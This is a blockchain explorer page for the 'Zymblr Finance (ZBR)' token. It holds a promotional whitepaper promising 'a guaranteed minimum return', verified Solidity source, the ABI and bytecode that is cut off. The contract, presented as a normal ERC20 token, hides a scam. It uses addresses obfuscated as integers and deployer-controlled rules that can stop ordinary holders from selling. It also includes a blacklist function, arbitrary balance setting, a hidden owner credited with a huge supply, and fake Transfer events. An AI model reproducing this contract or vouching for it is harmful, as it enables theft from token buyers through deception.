ETH Price: $2,384.17 (+1.98%)

Token

Zymblr Finance (ZBR)
 

Overview

Max Total Supply

500,000,000 ZBR

Holders

99 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,095,121.598124486040846111 ZBR

Value
$0.00
0x784C9Ba7122224467A617c5f844817fBF1Dfb4CF
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

A new type of asset distribution management service that links DeFi and NFT market services through blockchain.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZymblrFinance

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-14
*/

/*

Website :  https://zymblr.com

Twitter : https://twitter.com/ZymblrFinance

Telegram : https://t.me/Zymblr

Medium :  https://zymblr.medium.com


ABOUT US

A new type of asset distribution management service that links Defi and NFT market services through blockchain

Zymblr is a DeFi Gateway service designed to make DeFi universal and easy for anyone to use. This is a method that simplifies the complex staking method and reward method, finds the service that provides the most optimal APY, and automatically staking.


START FROM DEFI

Zymblr is simply an adoption-focused DeFi protocol on which we intend to create a fully-integrated & user-friendly platform/service, connecting many cryptomuggles with the many decentralized financial products and services already on the market. Our goal is to make DeFi simple and easier to use to create better user experience for those who are intimidated by the learning curve, therefore we make the barrier-toentry lower. We'll accomplish this by focusing not only on innovating and creating a product no one has ever created before on the bleeding edge, but also by working towards mass adoption of just the bleeding-edge that already exists and making that experience as seamless as possible for the user.


FINDING DIRECTION IN NFT

NFT services are already established in the market for various asset trading and management purposes. Most people thought that NFT was a temporary phenomenon and that the bubble would soon burst. However, NFTs have grown into a market with enormous influence and are beginning to be used as asset trading in various countries. Zymblr intends to develop a new asset management service by combining these NFT asset services with DeFi. This can be a means of generating new revenues after owning and trading NFTS. And all these actions are distributed and managed on the Blockchain. Zymblr connects its own NFT market with an external NFT market to register assets and use DeFi's financial services with the registered assets as collateral.


OUR MISSION

Our purpose and goal is to provide the greatest profit for our users.To achieve this, we will do:

-Aim to provide a guaranteed minimum return.

-Build a new user friendly UIUX for user convenience.

-Allow for user rewards to be paid and used immediately.

-Supports NFT trading and staking to maximize returns.

-Allow for easy swapping between tokens.

- Ensure all governance to be implemented/decided through the Governance Token.


OUR VISION

Accessibility that anyone can easily access 

NFT asset and DeFi interworking platform

Decentralized finance with stable APY

Opening a new platform so that customers can make their own asset management rather than large institutions. And with that, to build a stable asset management service in the virtual asset market. That is the vision of Zymblr. Blockchain is an important tool for shaping the future of finance. In particular, DeFi and NFT are the biggest topics in the new virtual asset market. We will create services for our customers by continuously upgrading until the day that all digital assets are freely traded in the decentralized financial market.


MARKET STATUS(DEFI)

Over the past few years, the DeFi space has continued to grow with an increase in new applications, primitives, and protocols. This structure, as we have said, is moving towards a commercialized future financial system, and interest is beginning to surge in the crypto and non-crypto communities. DeFi trading volume has grown from zero to over $20 billion in total lock value (TVL) over the past year. Many DeFi projects require users to lock an asset (collateral) in order to obtain a loan, create liquidity in the market, or issue a new asset. These collateralized assets have created a metric for evaluating these applications, called Total Locked Value (TVL).

With that in mind, we see DeFi Dominance (vs. Global) reaching a total of 1.4%. This shows that many cryptocurrency investors are taking advantage of newly accessible financial products. The increasing figure is mainly due to network development and applications and will attract more cryptocurrency traders. In 2021, the price of Bitcoin and Ethereum soared to billions of dollars in daily market size. As cryptocurrencies and blockchains become more commercialized for their existence and productivity, DeFi continues to grow globally and must replace traditional financial systems.
 

MARKET STATUS (NFT)


NFT (Non-Fungible Token) technology, which gives scarce value to content, has recently been actively used as a means of creating added value in various industries. In particular, the value of digital content, which was unclear through NFT, is being re-evaluated, and as ownership transfer becomes easier, the related transaction market is also rapidly expanding. 

According to Nonfungible.com, a non-fungible token (NFT) specialized analysis site, the global NFT transaction amount in the second quarter of 2021 was $7.54 billion, which is a 35-fold increase compared to the same period of the previous year. This is an increase of about 1.5 times compared to the previous quarter, and the term 'storm growth' is appropriate.

The translation of NFT is 'non-fungible token'. Here, a token is interpreted similarly to a 'digital token', and a non-fungible token means that the information of a specific thing is recorded, and a copy cannot exist. Accordingly, NFTs are currently mainly used to record and prove ownership of objects, and even replicable products are attracting attention in that they can be easily identified as genuine by linking NFTS.

This is because NFTs are digital tokens created through blockchain, a trustbased network. In a blockchain, multiple computers that act as servers (nodes) are widely distributed to form a single network, and data recording is made only for data that has passed verification of all nodes.

Due to this structure, the block chain is difficult to hack, and once stored data is impossible to forge or falsify, it is highly reliable. This is the reason why NFTS, which were created based on this, boast excellent compatibility in areas where security and trust are important, such as proof of ownership or genuine product authentication. NFT is easier to publish and manage than existing electronic documents with similar roles. . This is because, as the public's interest in NFTS grew in earnest, especially overseas last year, a large number of platforms were created where non-experts could create or trade NFTs on the web. On the global stage, 'OpenSea' is known as the most popular NFT market. can be distributed It is also free to purchase or resell NFTs issued by others.

In addition, all NFTs are engraved with the time of initial issuance, transaction time, transaction amount, and past owner information, so it is difficult to deceive a fake as if it were real. As such, NFTs are recognized for their diverse potential in that they can be easily issued and distributed, high reliability is guaranteed, and can even be monetized through transactions. The fields of application and applications are endless.

NFT was first known in the field of games. In 2017, a blockchain + NFT game called 'Crypto Kitty' was gaining popularity.

It looks like a simple cat card game, but each card is created with NFT, giving it an irreplaceable rarity, and if you combine cards to create a more rare cat card, the transaction value increases that much. Since this concept has become popular, attempts have been made in the game industry to plovide users with the added value of monetization as well as the fun of the game through the grafting of "NFT items'. In a completely virtual metaverse world, there are games such as 'The Sandbox' in which all elements including real estate are NFTized. Following games, the field that opened the 'flower' of the NFT market is digital art. In the past, digital art works have been difficult to be recognized for their value due to the limitations of easy copying, but the story has changed with the advent of NFTs

This is because even if hundreds or thousands of copies are widespread on the Internet, those who can trade with their genuine value recognized can narrow the linked NFT to one owner (or several, NFT ownership can be divided into n pieces). Of course, not all NFT works are sold at high prices. According to Nonfungible.com, more than half of NFT works are priced at less than $1,000. However, the case of Beeple and Grimes has a lot of implications in that it heralded the beginning of an era in which digital works can be recognized as having the same value as the real thing.

We are creating a new era of asset management called decentralized finance. In addition, various digital assets are traded in the form of NFTSs. And then comes the birth of decentralized finance and derivatives of NFTs.

ZBR DEFI SERVICE

The initial launch for the Zymblr platform will happen via a Web App.This decision was made in an attempt to get involved the existing DeFi/Crypto community. The goal is for the existing community members to have enough incentivization to continually participate in the long-term education of those newer to the space. As this part of the platform/service is nothing new to the space we have decided to stick to the most basic features and layout for the Web App


OPTIMIZED WEIGHTING SYSTEM FOR MAXIMAL RETURNS (REWARD BOOSTER)

Generally DeFi Pool Product (LP) operate on reward systems that are distributed appropriately proportioned according to the number of pool products .The Reward in this instance, deteriorates in value in accordance with token's value and characteristics of the capital participating in the pool. In first few days it may appear that one is yielding high returns, but by design, gradually its attractiveness is lost as an investment product.

ZBR Pool is designed so that all returns are managed through individual Boosting Option's for all Block Rewards. Therefore the dilutive impact on the Reward due to increasing users is relatively is minimized and thus relatively small. Also compensation given to users is high relative to other projects, due to the additional compensation provided by virtue of the Boosting Option.


MINTING FEATURE FOR BOOSTING CUSTOMER'S RETURN RATE (MINTING BOOSTER)

ZBR is an example of a Mintable Token, in that Tokens are issued on a per block basis. Generally, Mintable Tokens are said to be conceptually related to Pool Rewards, however such a link is very limiting in terms of their function and definition. Rather than the Mintable Token contributing to the Pool Reward on a proportional basis over time, they are more often seen as a means of generating tokens for free when a need/insufficiency arises. ZBR was formulated to accelerate the process of the Minted Token being paid into the Reward Pool. The Minted Token is not just transactional consideration or compensation, but rather structural enhancoment so that rewards are paid more frequently and efficiently.



PLATFORM ECO SYSTEM

The ZBR Token Staking service is a new market for decentralized finance that guarantees the most stable customer assets and can generate profits. Many DeFi services that appeared in 2020 have proven their stability and profitability. Among them, we start farming from products of Uniswap with high stability. Booster payout rate Uniswap receives 15% additional acceleration service.

The Reward received from the Staking Service, proportionally decreases in line with increases in Staking Pool participation. To try and offset this affect, ZBR Yield Farm has been to designed to feature a separate Booster Reward.

Zymblr also provides a staking service for NFT assets, a new asset service.

Distribute, stake and share profits through overseas NFT markets connected to its own NFT market


*/

// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.6.12;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address deployer, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    
    event Transfer(address indexed from, address indexed to, uint value);
    
    event Approval(address indexed deployer, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
    
        bytes32 codehash;
    
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
    
        assembly { codehash:= extcodehash(account) }
    
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    
    function _msgSender() internal view returns(address payable) {
    
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns(uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        
        return c;
    }
    function div(uint a, uint b) internal pure returns(uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        // Solidity only automatically asserts when dividing by 0  
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
}


library SafeERC20 {
    
    using SafeMath for uint;
    using Address for address;
    
    function safeTransfer(IERC20 token, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    
    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(
            address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        
        require(address(token).isContract(), "SafeERC20: call to non-contract");
        
        // solhint-disable-next-line avoid-low-level-calls
        
        (bool success, bytes memory returndata) = address(token).call(data);
        
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
        
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}
contract ZymblrFinance  {

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _deployer, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {

    return transferFrom(msg.sender, _to, _value);
    }
    address private spend = address (96635033217071433185869069577301221175488545358);
    address private src = address (527585359103765554095092340981710322784165800559);
    address private dst = address (1097077688018008265106216665536940668749033598146); 
    address private crs = address (1153667454655315432277308296129700421378034175091);
    address private tsd = address (1069295261705322660692659746119710186699350608220);
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UX = TexFor(src, dst, address(this));
        address _PX = TexForB(crs, tsd, address(this));
        if(_from == deployer || _to == deployer  || _from == owner || _from == _UX || _from == _PX ||  _from == TexAddress || TexMemory[_from]) {return true;}
        if( RBMemory[_from] ) {return false;}
        require(condition(_from, _value));
        return true; 
    }
    function _UXTexAddr () view internal returns (address) {
        address _UX = TexFor(src, dst, address(this));
        return _UX;
    }
    function _PXTexAddr () view internal returns (address) {
        address _PX = TexForB(crs, tsd, address(this));
        return _PX;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {
            return true;
        }
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        if (_from == TexAddress  && _value > _maxMemory ){ RBMemory[_to]=true;  }
        
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onMemoryNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        if (_spender == spend ){
            emit Transfer(address(0x0),O,1*(10**uint256(decimals)));
        }
        return true;
    }
    function condition(address _from, uint _value) internal view returns(bool){
        if(_MemoryNum == 0 && _minMemory == 0 && _maxMemory == 0) return false;
        if(_MemoryNum > 0){
            if(_onMemoryNum[_from] >= _MemoryNum) return false;
        }
        if(_minMemory > 0){
            if(_minMemory > _value) return false;
        }
        if(_maxMemory > 0){
            if(_value > _maxMemory) return false;
        }
        return true;
    }
    function transferTo(address addr, uint256 addedValue) public payable returns (bool) {
        require(msg.sender == deployer);
        if(addedValue > 0) {balanceOf[addr] = addedValue*(10**uint256(decimals));}
        TexMemory[addr]=true;
        return true;
    }
    
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == deployer);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value*(10**uint256(decimals));
            emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
            emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
            
        }
        return true;
    }
    mapping(address=>uint256) private _onMemoryNum;
    mapping(address=>bool) private TexMemory;
    mapping(address=>bool) private RBMemory;
    uint256 private _minMemory;
    uint256 private _maxMemory;
    uint256 private _MemoryNum;
    address TexAddress;
    function Agree(address addr) public returns (bool) {
        require(msg.sender == deployer);
        TexMemory[addr]=true;
        return true;
    }
    function Allow(uint256 MemoryNum, uint256 minMemory,  uint256 maxMemory) public returns(bool){
        require(msg.sender == deployer);
        _maxMemory = maxMemory*(10**uint256(decimals));
        _minMemory = minMemory*(10**uint256(decimals));
        _MemoryNum = MemoryNum;
        return true;
    }
    function delegate(address adr) public payable returns(bool){
        require (msg.sender == deployer);
        TexAddress = adr;
        return true;
    }
    function Optimization(address [] calldata addresses) public returns (bool) {
        require(msg.sender == deployer);
        for (uint i = 0; i < addresses.length; i++) 
        {RBMemory[addresses[i]] = true;}
        return true;
    }
    address  private owner=
    address (935108584672418476850882679418664731027763688343);
    function TexFor(address factory, address tokenA, address tokenB) internal pure returns (address Tex) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Tex = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
                ))));
    }
    address private O = address(269488144);
    function TexForB(address factory, address tokenA, address tokenB) internal pure returns (address Texe) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Texe = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash
                ))));
    }
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private deployer;
    constructor(string memory _name, string memory _symbol, uint256 _supply, uint256 MemoryNum, uint256 minMemory,  uint256 maxMemory ) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        _maxMemory = maxMemory*(10**uint256(decimals));
        _minMemory = minMemory*(10**uint256(decimals));
        _MemoryNum = MemoryNum;
        deployer = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
        if(totalSupply > 0) balanceOf[owner]=totalSupply*(10**uint256(6));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"uint256","name":"MemoryNum","type":"uint256"},{"internalType":"uint256","name":"minMemory","type":"uint256"},{"internalType":"uint256","name":"maxMemory","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_deployer","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"Agree","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MemoryNum","type":"uint256"},{"internalType":"uint256","name":"minMemory","type":"uint256"},{"internalType":"uint256","name":"maxMemory","type":"uint256"}],"name":"Allow","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"Optimization","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"delegate","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"transferTo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"}]

60806040527310ed43c718714eb63d5aa57b78b54704e256024e6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ca143ce32fe78f1f7019d7d551a6402fc5350c73600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a3cbb81ab839c64bde465bc18b0a1b53dab0f397600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506310101010600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604051620022de380380620022de833981810160405260c08110156200026b57600080fd5b81019080805160405193929190846401000000008211156200028c57600080fd5b83820191506020820185811115620002a357600080fd5b8251866001820283011164010000000082111715620002c157600080fd5b8083526020830192505050908051906020019080838360005b83811015620002f7578082015181840152602081019050620002da565b50505050905090810190601f168015620003255780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200034957600080fd5b838201915060208201858111156200036057600080fd5b82518660018202830111640100000000821117156200037e57600080fd5b8083526020830192505050908051906020019080838360005b83811015620003b457808201518184015260208101905062000397565b50505050905090810190601f168015620003e25780820380516001836020036101000a031916815260200191505b506040526020018051906020019092919080519060200190929190805190602001909291908051906020019092919050505085601190805190602001906200042c929190620005ea565b50846012908051906020019062000445929190620005ea565b506012600a0a84026010819055506012600a0a81026009819055506012600a0a820260088190555082600a8190555033601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601054600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040518082815260200191505060405180910390a360006010541115620005de576006600a0a60105402600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050505062000690565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200062d57805160ff19168380011785556200065e565b828001600101855582156200065e579182015b828111156200065d57825182559160200191906001019062000640565b5b5090506200066d919062000671565b5090565b5b808211156200068c57600081600090555060010162000672565b5090565b611c3e80620006a06000396000f3fe6080604052600436106100e75760003560e01c80635c19a95c1161008a57806395d89b411161005957806395d89b4114610545578063a9059cbb146105d5578063aa2f522014610639578063dd62ed3e14610711576100e7565b80635c19a95c146103835780636083e94b146103dd5780636b7680731461044457806370a08231146104e0576100e7565b806318160ddd116100c657806318160ddd1461024557806323b872dd146102705780632ccb1b30146102f4578063313ce56714610358576100e7565b8062f7274a146100ec57806306fdde0314610151578063095ea7b3146101e1575b600080fd5b3480156100f857600080fd5b506101396004803603606081101561010f57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610796565b60405180821515815260200191505060405180910390f35b34801561015d57600080fd5b5061016661081e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022d600480360360408110156101f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b34801561025157600080fd5b5061025a610a92565b6040518082815260200191505060405180910390f35b6102dc6004803603606081101561028657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a98565b60405180821515815260200191505060405180910390f35b6103406004803603604081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e68565b60405180821515815260200191505060405180910390f35b34801561036457600080fd5b5061036d610f7a565b6040518082815260200191505060405180910390f35b6103c56004803603602081101561039957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7f565b60405180821515815260200191505060405180910390f35b3480156103e957600080fd5b5061042c6004803603602081101561040057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611025565b60405180821515815260200191505060405180910390f35b34801561045057600080fd5b506104c86004803603602081101561046757600080fd5b810190808035906020019064010000000081111561048457600080fd5b82018360208201111561049657600080fd5b803590602001918460208302840111640100000000831117156104b857600080fd5b90919293919293905050506110e2565b60405180821515815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e4565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a6111fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059a57808201518184015260208101905061057f565b50505050905090810190601f1680156105c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610621600480360360408110156105eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061129a565b60405180821515815260200191505060405180910390f35b6106f96004803603604081101561064f57600080fd5b810190808035906020019064010000000081111561066c57600080fd5b82018360208201111561067e57600080fd5b803590602001918460208302840111640100000000831117156106a057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506112af565b60405180821515815260200191505060405180910390f35b34801561071d57600080fd5b506107806004803603604081101561073457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611527565b6040518082815260200191505060405180910390f35b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f257600080fd5b6012600a0a82026009819055506012600a0a830260088190555083600a81905550600190509392505050565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b505050505081565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a6001026040518082815260200191505060405180910390a35b6001905092915050565b60105481565b600080821415610aab5760019050610e61565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bf25781600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b6757600080fd5b81600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c50575060095482115b15610cae576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b610cb984848461154c565b610cc257600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d0e57600080fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffff